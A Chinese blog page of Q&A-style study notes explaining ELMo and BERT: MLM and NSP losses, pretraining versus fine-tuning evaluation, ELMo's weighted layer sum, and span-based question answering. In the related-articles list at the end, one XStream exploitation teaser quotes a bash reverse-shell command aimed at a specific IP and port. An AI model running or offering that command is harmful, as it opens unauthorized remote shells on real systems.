bert學習

首先了解一下幾種embedding。比如elmo就是一個embedding模型。one-hot編碼只能實現one word one embedding,而我們的elmo能實現one token one embedding

Elmo是基于雙向LSTM,所以每個詞其實會有正向和反向兩個預測結果,那么我們用哪個呢?

全都要,雙向的add起來

Bidirectional Encoder Representations from Transformers(BERT)

都知道bert,那Bert到底是做什么的呢

就是給一個句子進去bert,他就吐給你一個embedding

問:還是有點沒懂,好玄乎,那損失函數是什么,會給gt嗎

不玄乎,一點都不玄乎!你問到了最關鍵的核心:“損失函數是什么?”和“有沒有Ground Truth (GT)?”。

答案是:有!而且GT(Ground Truth,標準答案)就是我們從原文里摳出來的。

BERT的聰明之處,就在于它能從海量的、沒有任何人工標注的文本(比如整個維基百科)中,自己給自己出題,自己給自己準備標準答案。這個過程叫**“自監督學習” (Self-supervised Learning)**。

在預訓練階段,BERT會同時參加兩場“考試”,最終的綜合成績(總損失)是這兩場考試成績的總和。


考試一:完形填空 (Masked Language Model, MLM)

這是BERT學習“詞義理解”和“語境融合”最主要的一場考試。

  • 出題方式

    1. 拿到一個句子:The dog barks at the mailman.

    2. 隨機遮住其中 15% 的單詞,用一個特殊的 [MASK] 符號代替。比如,句子變成了:The dog barks at the [MASK].

    3. 把這個被遮住的句子,作為“考題”輸入給BERT。

  • 標準答案 (Ground Truth)

    • 就是那個被摳掉的詞:mailman

  • 模型如何“答題”與計算損失

    1. BERT模型對整個被遮住的句子進行深度理解。

    2. 在最后,它需要輸出在 [MASK] 位置上,詞匯表里每個詞的出現概率。比如,它可能會預測:mailman 的概率是 85%,car 的概率是 5%,sky 的概率是 1%...

    3. 損失函數 (Loss Function):這里用的是我們非常熟悉的交叉熵損失 (Cross-Entropy Loss)。它會對比模型的預測概率分布標準答案。標準答案是一個 One-Hot 向量(只有 mailman 的位置是1,其他都是0)。如果模型給 mailman 的預測概率很低,損失就會很大,模型就會被“懲罰”,然后通過反向傳播調整自己的權重,下次爭取猜對。

這場“完形填空”考試,強迫BERT必須深刻理解一個詞的左右上下文,才能猜出中間是什么。因為它能同時看到左右兩邊的信息,所以它學習到的語境理解能力比單向的RNN或GPT-2等模型更強大。


考試二:下一句預測 (Next Sentence Prediction, NSP)

這場考試的目的是讓BERT理解句子與句子之間的關系,這對于問答、對話等任務很重要。

  • 出題方式

    1. 每次都給BERT輸入一對句子(句子A 和 句子B)。

    2. 50% 的情況,句子B確實是緊跟在句子A后面的那句話(正樣本)。

    3. 另外 50% 的情況,句子B是從文章庫里隨機抽取的、與A毫無關系的一句話(負樣本)。

  • 標準答案 (Ground Truth)

    • 一個簡單的標簽:IsNext (是下一句) 或者 NotNext (不是下一句)。

  • 模型如何“答題”與計算損失

    1. BERT處理輸入的句子對 [CLS] 句子A [SEP] 句子B [SEP]

    2. 我們只取**[CLS]符號**在最后一層的輸出向量。我們之前聊過,這個“班長”向量代表了對整個輸入(包括兩句話)的綜合理解。

    3. 將這個 [CLS] 向量送入一個簡單的二分類器,讓它預測“是下一句”的概率。

    4. 損失函數:使用二元交叉熵損失 (Binary Cross-Entropy Loss),來對比模型的預測和 IsNext / NotNext 這個標準答案。


最終得分

BERT的總損失 = MLM任務的損失 + NSP任務的損失。模型在訓練時,會努力讓這兩個損失都變得盡可能小,也就是同時在這兩場考試中都取得好成績。

所以,一點都不玄乎。 BERT的訓練過程是一個非常標準的監督學習流程,它的“魔法”在于,它能自動地從任何一篇文章中,創造出無窮無盡的“完形填空”和“句子關系判斷”的練習題和答案,從而把自己訓練成一個語言大師。

問:但是bert不是做embedding的嗎,怎么評估他這個能力呢

你這個問題,是理解所有預訓練語言模型(包括BERT、GPT等)的鑰匙!你已經觸及了最核心的一點。

答案非常直接:我們不直接評估BERT“做embedding”這個孤立的能力。因為“embedding做得好不好”本身是一個模糊、無法量化的概念。

取而代之,我們用一種更科學、更實際的方式來評估它:看它在解決具體問題時,表現得有多好。

這個過程分為兩個階段,理解了這兩個階段,你所有的困惑都會迎刃而解。


階段一:預訓練 (Pre-training) - “內功修煉”

  • 目標:學習通用的、深刻的語言理解能力。

  • 方法:就是我們剛剛聊的“完形填空(MLM)”和“下一句預測(NSP)”。

  • 角色:這就像一個武學奇才在閉關修煉內功。他不需要和人比武,他只需要通過扎馬步、背心法(做MLM和NSP任務)來讓自己的內力(模型參數)變得越來越深厚。

  • 這里的損失函數是干嘛的? MLM和NSP的損失函數,只是用來指導他修煉的口訣,告訴他這次馬步扎得穩不穩,心法背得對不對。這個分數不是他最終的武功排名。

所以,在預訓練階段,我們不評估模型的能力,我們只關心它的“內功”有沒有在穩步增長(即損失函數值是否在持續下降)。


階段二:微調與評估 (Fine-tuning & Evaluation) - “華山論劍”

這才是真正“評估他這個能力”的階段。當BERT的“內功”修煉好之后,我們就要看它在實戰中到底有多厲害。

  • 目標:檢驗BERT的通用語言能力在解決真實世界問題時的效果。

  • 方法:我們會把它應用到各種各樣的“下游任務”(Downstream Tasks)上。每個任務都有人工標注好的、帶標準答案的數據集

我們以“電影評論情感分析”這個具體任務為例,看看如何評估:

  1. 準備“考場”和“考卷”

    • 我們有一個數據集,里面有成千上萬條電影評論,并且每一條都由人類專家標注好了是“正面情感”還是“負面情感”。這就是我們的帶GT(Ground Truth)的考卷

  2. 讓BERT“下山比武”

    • 我們拿出那個已經預訓練好的、內力深厚的BERT模型。

    • 在它的[CLS]輸出位置后面,接上一個非常簡單的、新的“分類器”小腦袋(比如一個單層的神經網絡)。

    • 我們用一小部分帶標簽的電影評論數據,對這個“BERT+新腦袋”的組合進行微調(Fine-tuning)。這個過程非常快,就像是告訴這位武林高手:“你的內功很強,現在我教你一套專門打擂臺的拳法,你稍微適應一下。”

  3. 正式“考試”與“打分”

    • 微調完成后,我們拿出數據集中從未用于訓練的測試集部分(全新的考卷)來考它。

    • 對于每一條評論,我們讓模型預測是“正面”還是“負面”。

    • 我們用標準的評估指標來給它打分:比如準確率 (Accuracy)F1分數等。我們會對比它的預測和人工標注的“標準答案”,看它答對了多少。

最終的結論:

如果BERT在情感分析任務上取得了95%的準確率,在另一個“判斷文章是否抄襲”的任務上取得了90%的準確率,在“醫療問答”任務上也表現優異……

那么,這一系列輝煌的“戰績”就間接地、但卻極其有力地證明了:

BERT在預訓練階段學到的“做embedding”的能力是真實、強大且有效的。 因為如果它生成的embedding是垃圾,那它在所有這些下游任務上的表現必然會一敗涂地。

總結:我們不直接評估“內功”有多深,我們通過看它在多場“比武”中能打贏多少高手,來反證它的“內功”深不可測。

問:所以訓練的任務和評估的任務和我們想要的embedding是三個不同的?為什么要這樣安排

是的,你的總結非常精準!

預訓練任務”(比如完形填空MLM)、“評估任務”(比如情感分析),和我們最終想要的“通用Embedding能力”,確實是三個環環相扣但不同的東西。

你問“為什么要這樣安排”,這個問題問到了整個預訓練模型領域最核心、最天才的設計思想。其根本原因只有一個:

為了解決“理想”與“現實”的巨大矛盾。


理想 vs 現實

  • 理想中的我們想做什么?

    我們希望有一個模型,能解決所有語言問題:情感分析、機器翻譯、文章摘要、智能問答... 對于每一個任務,我們都希望能從零開始,用海量帶標準答案的數據,訓練出一個完美的專屬模型。

  • 現實是什么?

    1. 帶標準答案的、高質量的數據集,極其昂貴和稀少。 一個情感分析數據集,可能包含5萬條人工標注的評論。一個醫療問答數據集,可能包含10萬個問答對。對于學習復雜的語言來說,這點數據量簡直是杯水車薪。
    2. 無標簽的、免費的純文本數據,在互聯網上幾乎是無限的。 整個維基百科、所有書籍、所有網頁... 這里的文本量是前者的億萬倍。

這個矛盾導致:如果只用少量帶標簽的數據去訓練一個巨大的模型,模型根本學不會語言的精髓,只會“死記硬背”這部分數據(即“過擬合”),在新的數據上表現一塌糊涂。


“三步走”的解決方案:先練內功,再練招式

為了解決這個矛盾,科學家們設計了這種天才的“預訓練-微調”范式,也就是你總結的三步。

第一步:“我們想要的Embedding”(目標)

我們的最終目標,是得到一個模型,它能生成高質量的、富含通用語言知識的 Embedding。這個Embedding能力,就是一位武林高手的“深厚內功”。

第二步:預訓練任務(修煉內功)

  • 為什么要用MLM(完形填空)這樣的任務?

    因為它是一個天才的“借口”。這個任務本身不重要,重要的是,它不需要人工標注答案,可以直接從那“無限”的免費文本中自己創造考題和答案。

  • 如何修煉內功?

    通過在數萬億詞的文本上做“完形填空”練習,模型為了能答對題,被迫去學習語法、語義、常識、邏輯、事實…… 它把從海量文本中學到的一切知識,都壓縮、編碼進了自己的網絡參數里。

  • 結果:預訓練結束后,我們就得到了一個內力深不可測的模型。它的“內力”就是我們想要的那個**“通用Embedding能力”**。

第三步:評估任務(比武過招)

  • 為什么要用情感分析這樣的任務?

    因為這是我們真正想解決的實際問題。

  • 如何評估內功?

    我們把這位“內力深厚”的大俠(預訓練好的BERT),帶到“情感分析”這個比武場。我們只需要給他一本薄薄的“拳譜”(少量帶標簽的情感分析數據)讓他稍加“微調”(Fine-tuning),他就能把深厚的內力應用到這套拳法上。

  • 結果:他在情感分析這個擂臺上打出了極高的分數(準確率)。這個分數,就是對他“內功”的最好評估。一個內力平平的人,就算拿著同樣的拳譜,也打不出這個成績。


一個終極比喻:人的教育

這個過程,和我們人類的教育一模一樣:

  • 通用Embedding能力 = 一個人的綜合素養、基礎知識和學習能力
  • 預訓練任務 (MLM) = 九年義務教育 + 高中。你學習語文、數學、物理,不是為了以后就去當數學家,而是為了打下堅實的基礎,培養通用的學習能力。這個階段,教材是現成的(海量免費文本)。
  • 評估任務 (情感分析) = 大學專業/具體工作。你進入大學學習“法學專業”(微調),最終通過“律師資格考試”或者“打贏官司”的成績(評估),來證明你整個教育背景的成功。

所以,這個安排是一個極其聰明的策略:用近乎無限的免費文本,通過“自監督”的訓練任務,去修煉一個通用的、強大的“內功”(Embedding能力),然后再用少量珍貴的、有標簽的數據,將這個通用能力應用到我們真正想解決的特定“招式”(評估任務)上并取得成功。

不是的,你的理解有一個關鍵的偏差,你把“訓練過程”和“使用過程”這兩個完全獨立的階段搞混了。我們來徹底分開看,這個問題就非常清晰了。

你問的“加起來”這個動作,只發生在“使用”階段,而且是針對一個句子內部不同層次的信息進行相加,跟“訓練”時看到的其他句子完全無關。


第一階段:訓練 (Training) - “設計和建造計算器”

  • 目標:這個階段的目標是造出一臺強大的“語境計算器”,也就是ELMo模型本身。我們關心的是調整計算器內部的電路和齒輪(即網絡權重),讓它變得更精密。

  • 過程

    1. 我們拿一句話,比如 the cat chases the dog

    2. 讓模型根據上下文去預測 cat 這個詞。

    3. 模型可能預測錯了,我們就計算損失,然后通過反向傳播去微調模型內部的權重

    4. 再拿下一句話 the cat drinks the milk,重復這個過程,繼續微調權重。

  • 核心思想:在訓練階段,我們根本不關心為“cat”生成了什么具體的向量。那些向量只是計算損失的中間產物,用完就扔了。我們的唯一目的是優化整個模型的參數,讓它“理解語言”的能力越來越強。

這個階段,沒有任何“加起來”的動作。我們是在造機器,不是在使用機器。


第二階段:使用 (Usage) - “用計算器算題”

現在,我們已經有了一臺訓練好的、內部參數全部固定不變的ELMo計算器。

  • 目標:對于一個全新的句子,我們要用這臺計算器,為其中的某個詞(比如“cat”)算出一個最終的、富含語境的Embedding。

  • 過程(“加起來”的動作發生在這里!)

    1. 我們輸入一個句子,比如 The cat drinks the milk

    2. 模型對這個句子進行一次正向傳播(一次計算)。

    3. 在這次計算中,對于 cat 這個詞,模型內部會同時產生三層不同的表示

      • 第0層表示:最底層的、與上下文無關的靜態詞向量。

      • 第1層表示:經過第一層雙向LSTM網絡后,融合了初步上下文的向量。

      • 第2層表示:經過第二層雙向LSTM網絡后,融合了更豐富上下文的向量。

    4. 最終的ELMo輸出:模型會把這三層內部表示,按照一定的權重加起來,得到一個最終的、給你的Embedding。

      最終的cat向量 = a * (第0層向量) + b * (第1層向量) + c * (第2層向量)

總結

  • 訓練時:我們是在優化模型參數。我們不存儲、不累加、也不關心任何一個詞在某個句子里的具體向量值。

  • 使用時:我們是在用固定參數的模型進行計算。我們輸入的一個句子,模型內部會為每個詞生成三層不同的理解,然后把這三層理解加起來,得到一個最終的輸出向量。

所以,最終的輸出,是一個句子內部不同層次信息的加總,而不是把訓練時見過的所有“cat”的向量加起來。

問:我在學習elmo,我現在給你講解一下我學習到的一些知識,如有不對請指正:elmo的訓練和評估和實際的任務embedding其實是不同的,這么做的原因其實大有來頭,很有智慧。因為我們訓練沒有如此大的標注好的數據,因此我們只能自我創造,訓練時是使用兩個任務prediction(預測下一個句子)和mask(挖去一個詞,類似完形填空)。評估我們使用一些已經標注好的數據集,比如情感分析進行微調。最后我們實際真正去拿那個embedding的時候,不是用在訓練中輸出的某個詞的embdding,我們訓練只是要拿到lstm各層的權重,最后真正的embedding是原始的embedding+經過第一層lstm的embdding+第二層的。加權相加

你的理解總體上是非常準確的!我來幫你梳理和補充一些關鍵點,確保你對ELMo(Embeddings from Language Models)的理解更加全面:

---

### 1. **ELMo的訓練與預訓練目標**
- **雙向語言模型(BiLM)**:ELMo的核心是一個雙向的LSTM語言模型,由兩個獨立的LSTM組成(前向和后向)。 ?
- **前向任務**:用前文預測下一個詞(即你提到的“prediction”任務)。 ?
- **后向任務**:用后文預測當前詞(類似于“完形填空”,但更準確的說法是反向語言建模)。 ?
- **Masked任務**:你提到的“mask”任務(如BERT的掩碼語言模型)并不是ELMo原始論文的做法,但思想類似。ELMo的雙向是通過兩個獨立LSTM實現的,而BERT是真正的雙向注意力機制。

? ?**關鍵點**:ELMo通過無監督的語言模型任務(無需人工標注)學習詞匯的上下文表示,利用了海量文本的自監督特性。

---

### 2. **為什么訓練和實際Embedding不同?**
- **訓練目標**:訓練時是為了優化語言模型的損失(即預測下一個詞的概率),但實際目的是獲得**通用的上下文詞表示**。 ?
- **Embedding的生成**:訓練完成后,ELMo會保留LSTM的權重,在實際使用時:
1. 輸入一個句子,通過多層LSTM得到每一層的表示(原始詞嵌入、第1層LSTM輸出、第2層LSTM輸出等)。 ?
2. 將這些表示**加權求和**(權重可學習或固定),得到最終的ELMo嵌入。 ?
- 例如:`ELMo(word) = γ × (s?·原始嵌入 + s?·LSTM?輸出 + s?·LSTM?輸出)`,其中γ和s是縮放和權重參數。

? ?**智慧之處**: ?
- 不同層的LSTM捕獲不同信息(淺層偏向語法,深層偏向語義),加權組合可以靈活適配下游任務。 ?
- 避免了直接用語言模型輸出(僅單方向)的局限性。

---

### 3. **評估(微調)階段**
- **下游任務適配**:在情感分析、NER等任務中,ELMo嵌入會與任務特定模型(如BiLSTM+CRF)一起微調。 ?
- **凍結 or 微調**:ELMo的權重可以凍結(僅作為特征提取器),也可以參與微調(進一步適應任務)。 ?
- **評估數據集**:通常用標準標注數據集(如SST-2、CoNLL-2003)評估性能提升。

---

### 4. **與后續模型(BERT等)的區別**
- **雙向性**:ELMo是“淺層雙向”(兩個單向LSTM拼接),而BERT是“深層雙向”(Transformer自注意力)。 ?
- **任務**:ELMo僅用語言模型任務,BERT還引入了下一句預測(NSP)。 ?
- **Embedding使用**:BERT直接用特定層的輸出(如CLS token),而ELMo是多層加權組合。

---

### 可能的修正點
- ELMo沒有顯式的“mask”任務(這是BERT的改進),但你的理解方向是對的:通過語言模型任務間接學習上下文。 ?
- 訓練時的“預測下一個句子”更準確的說法是“預測下一個詞”(語言模型本質)。

---

### 總結
ELMo的巧妙之處在于: ?
1. 通過無監督預訓練解決標注數據不足的問題。 ?
2. 多層LSTM表示的組合提供了豐富的語言特征。 ?
3. 開放權重給下游任務學習,增強了泛化性。

你的理解已經很到位了!繼續加油!如果有具體問題(如實現細節或數學形式),可以進一步討論。

好的,這張圖非常經典,它清晰地展示了如何利用BERT來解決一個非常重要的NLP任務:抽取式問答(Extractive Question Answering)

看不懂主要是因為這里引入了新的“小零件”。我們一步步來拆解,你就會發現它的思路其實非常巧妙和直觀。

1. 任務目標是什么?

首先,我們要明白“抽取式問答”是做什么的。它的目標不是讓模型自己創造一個答案,而是從給定的文檔(document)中,找到能回答這個問題(question)一小段原文

  • 模型需要輸出兩個東西:答案的起始位置 (start)結束位置 (end)

  • 圖中的例子:s=2, e=3,意味著答案是從文檔的第2個詞 (d2) 開始,到第3個詞 (d3) 結束。所以最終答案就是 d2 d3


2. 模型的工作流程(一步步看)

第一步:輸入準備

  • 這部分你已經很熟悉了。我們把“問題”和“文檔”拼在一起,用 [SEP] 隔開,形成一個輸入序列:[CLS] q1 q2 [SEP] d1 d2 d3 ...

第二步:BERT進行“閱讀理解”

  • 這個巨大的橙色BERT模塊,就是我們熟悉的那個“通用語言理解引擎”。它會讀完整個輸入,然后為每一個詞(包括[CLS]、問題、文檔的所有詞)輸出一個富含上下文的、高質量的Embedding向量(圖中的黃色豎條)。

  • 到此為止,都是我們之前討論過的標準操作。BERT的“閱讀理解”工作已經完成。

第三步:找到答案的“起點”和“終點”(這是最關鍵的新知識)

現在,我們有了一堆代表文檔中每個詞的向量(d1的向量,d2的向量...)。如何從這里面找出哪個是答案的開頭,哪個是結尾呢?

BERT在這里用了一個非常聰明的“微調”技巧:

  1. 引入兩個“探測器”向量

    • 我們創建兩個全新的、需要從零開始學習的向量(圖例中的 "Learned from scratch"):

      • 一個橙色向量,我們叫它“起點探測器” (Start Vector)。它的任務就是去識別“像答案起點”的詞。

      • 一個藍色向量,我們叫它“終點探測器” (End Vector)。它的任務就是去識別“像答案終點”的詞。

    • 這兩個探測器向量,就是我們在微調這個問答任務時唯一需要訓練的新參數

  2. 進行“匹配度”打分

    • 尋找起點:模型會拿著這個“起點探測器”(橙色向量),去和文檔里每一個詞的BERT輸出向量(黃色豎條)分別計算點積(dot product)。點積可以理解為一種“相似度”或“匹配度”打分。得分越高,說明這個詞越有可能是答案的起點。

    • 尋找終點:同理,模型會拿著“終點探測器”(藍色向量),去和文檔里每一個詞的向量計算點積,得到每個詞作為“終點”的分數。

  3. 選出最佳答案

    • 我們現在有了每個詞的“起點分數”和“終點分數”。

    • 模型會把所有的“起點分數”一起送入一個 Softmax 函數,將其轉化成概率。概率最高的那個位置,就被預測為答案的起始位置(比如圖中的d2)。

    • 再把所有的“終點分數”送入另一個獨立的Softmax 函數,概率最高的那個位置(如圖中概率為0.7的d3),就被預測為答案的結束位置

總結

所以,整個流程可以通俗地理解為:

  1. BERT 先通讀一遍問題和文章,形成深刻的理解(生成一堆黃色向量)。

  2. 然后,我們訓練出兩個專門的“探員”:一個“起點探員”(橙色向量),一個“終點探員”(藍色向量)。

  3. “起點探員”去審問文章里的每一個詞,看誰最像是答案的開頭,并給出一個分數。

  4. “終點探員”也做同樣的事情,找出最像結尾的詞。

  5. 最后,得分最高的那個“開頭”和那個“結尾”組合起來,就是模型找到的最終答案。

這整個過程,也是**微調(Fine-tuning**的一種形式。只是我們這次接在BERT后面的,不再是簡單的分類頭,而是一個更巧妙的“起點-終點預測頭”。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/95208.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/95208.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/95208.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Java安全-組件安全

一、Xstream啟動環境并訪問接下來我們構造反彈shell語句,bash -i >& /dev/tcp/8.152.2.86/9999 0>&1,緊接著對其進行base64編碼。接下來使用命令即可首先開啟監聽接下來執行命令接下來抓包對其進行payload構造即可緊接著回去查看回顯發現成…

【10】微網優聯——微網優聯 嵌入式技術一面,校招,面試問答記錄

微網優聯——微網優聯 嵌入式技術一面,校招,問答記錄 1. 2 分鐘簡單自自我介紹2. 問一遍筆試題目3. IP地址在哪個層4.手動配置過IP地址嗎?要配哪幾個?5. ARP 是域名找IP地址還是IP地址找域名?6. Linux、計算機網絡、操作系統掌握的怎么樣&a…

C#使用EPPlus讀寫Excel

依賴EPPlus 獲取依賴可以閱讀:Nuget For Unity插件介紹_nugetforunity-CSDN博客 可以參閱該篇快速入門:在Unity中使用Epplus寫Excel_unity epplus-CSDN博客 下面是我封裝的幾個方法: 要在合適的時機配置許可證,比如你的工具類的靜態函數.建議使用版本7.7.1 #region Excel封裝,…

高性能Web服務器

一、Web服務基礎介紹 1.1、互聯網發展歷程 1993年3月2日,中國科學院高能物理研究所租用AT&T公司的國際衛星信道建立的接入美國SLAC國家實驗室的64K專線正式開通,成為我國連入Internet的第一根專線。 1995年馬云開始創業并推出了一個web網站中國黃…

《算法導論》第 16 章 - 貪心算法

大家好!今天我們來深入探討《算法導論》第 16 章的核心內容 —— 貪心算法。貪心算法是一種在每一步選擇中都采取在當前狀態下最好或最優(即最有利)的選擇,從而希望導致結果是全局最好或最優的算法。它在許多優化問題中都有廣泛應…

Redis面試精講 Day 18:Redis網絡優化與連接管理

【Redis面試精講 Day 18】Redis網絡優化與連接管理 開篇 歡迎來到"Redis面試精講"系列第18天,今天我們將深入探討Redis網絡優化與連接管理技術。在分布式系統中,Redis的網絡性能和連接管理直接影響整個系統的響應速度和穩定性。掌握這些優化…

Centos8系統在安裝Git包時,報錯:“沒有任何匹配: git”

報錯類型: sudo dnf install git Repository AppStream is listed more than once in the configuration Repository BaseOS is listed more than once in the configuration Repository extras is listed more than once in the configuration Repository fasttrac…

glide緩存策略和緩存命中

一 緩存策略 1 Glide 的 diskCacheStrategy() 一共有 5 種枚舉值(DiskCacheStrategy),每種的作用和區別如下:1. DiskCacheStrategy.ALL 作用:同時緩存原始圖片(原圖數據)和經過變換(…

如何將PDF文檔進行高效編輯處理!

PDF文件可以在任何設備上以相同的格式查看,無論操作系統或軟件環境如何,可以確保修改后的文檔仍然保持原有的布局和格式。它完全免費,下載后雙擊即可運行,無需安裝,使用非常方便。它具備出色的文本編輯功能&#xff0c…

應用層模擬面試題

模擬面試-C第一題(開發音視頻處理模塊)在開發音視頻處理模塊時,FFmpeg資源(AVFrame*)需要自動釋放。如何用unique_ptr定制刪除器替代手動av_frame_free()?寫出代碼并解釋RAII優勢。參考答案:auto frame_deleter[](AVFr…

分享一款基于STC8H8K32U-45I-LQFP48單片機的4路數字量輸入輸出模塊

4路數字量輸入輸出模塊產品說明產品特性輸入部分: 4路光耦隔離數字量輸入通道支持NPN和PNP兩種輸入方式,可通過撥碼開關切換輸入電壓范圍:10-30VDC典型應用:可連接按鈕開關、接近開關、光電傳感器等數字信號設備輸出部分&#xff…

redis常見的性能問題

Redis 的性能問題通常源于配置不當、數據結構誤用、資源瓶頸或架構缺陷。以下是 Redis 常見的性能問題及優化方案,結合線上經驗整理:🧠 ?一、內存相關問題??1. 內存不足(OOM)???現象?:OOM errors、響…

Blender 基礎操作

基礎操作 一、視角控制 ①旋轉視角 : 拖動鼠標中鍵 ②平移視角 : shift 鼠標中鍵 ③放大\縮小 :鼠標滾輪 二、物體控制 1、重要 ① 移動物體 : G ② 旋轉物體 : R ③ 縮放物體 : S 2、不重要 ④ 新建物體 : shift A ⑤ 復制物體 : shift D…

Go 語言三大核心數據結構深度解析:數組、切片(Slice)與映射(Map)

🚀Go 語言三大核心數據結構深度解析:數組、切片(Slice)與映射(Map) 在 Go 語言的開發領域,數組、切片與映射 這三大核心數據結構猶如構建程序的基石,支撐著各類數據的存儲與處理。它…

《Webpack與Vite熱模塊替換機制深度剖析與策略抉擇》

從早期簡單的文件合并工具,到如今功能強大、高度自動化的Webpack和Vite,它們重塑了前端開發的流程與效率。而熱模塊替換(HMR, Hot Module Replacement)機制,作為其中關鍵的一環,更是成為開發者提升開發體驗、加速項目迭代的秘密武器。Webpack,作為前端構建領域的先驅者,…

虛擬樂隊“天鵝絨落日”:AI生成音樂引發的行業風暴

引言近日,音樂行業掀起了一陣關于一支名為“The Velvet Sundown”(天鵝絨落日)樂隊的新聞熱潮。原因何在?這支樂隊很可能并非真正的樂隊,其音樂也或許是由人工智能生成的。事實上,越來越多的共識認為&#…

c++ final override 關鍵字

1.finalfinal 防止子類繼承,用于類或虛函數,限制繼承或重寫class Base final {}; // Base類不能被繼承class Base { public:virtual void foo() final; // 禁止子類重寫foo() };2.overrideoverride 子類中重寫父類中函數,,僅用于…

劍橋大學最新研究:基于大語言模型(LLM)的分子動力學模擬框架,是MD的GPT時刻還是概念包裝?

近期,劍橋大學 Michele Vendruscolo 團隊在預印本平臺上發布了一項最新研究,提出了一個名為 MD-LLM 的框架,旨在為高效研究蛋白質動態提供一種全新的思路。簡單來說,他們希望借助大語言模型(LLM)&#xff0…

MySQL梳理:其他

MySQL數據庫技術知識合集,涵蓋InnoDB存儲引擎的區管理機制、緩沖池機制等核心技術要點。本文檔將持續補充MySQL相關的重要技術知識點。 📋 目錄 模塊一:InnoDB區狀態管理機制 1.1 核心設計思想1.2 四種區狀態詳解1.3 漸進式空間分配策略1.4…

影刀 —— 飛書電子表格

以獲取列上第一個可用行為例我們需要獲取的分別是 憑證 和 表格唯一標識首先來看如何獲取憑證在飛書開發者后臺創建應用然后添加權限發版拿App ID 和 App Secret下面來創建電子表格!!!注意這個表格一定不要創建到知識庫里面如果創建到知識庫里…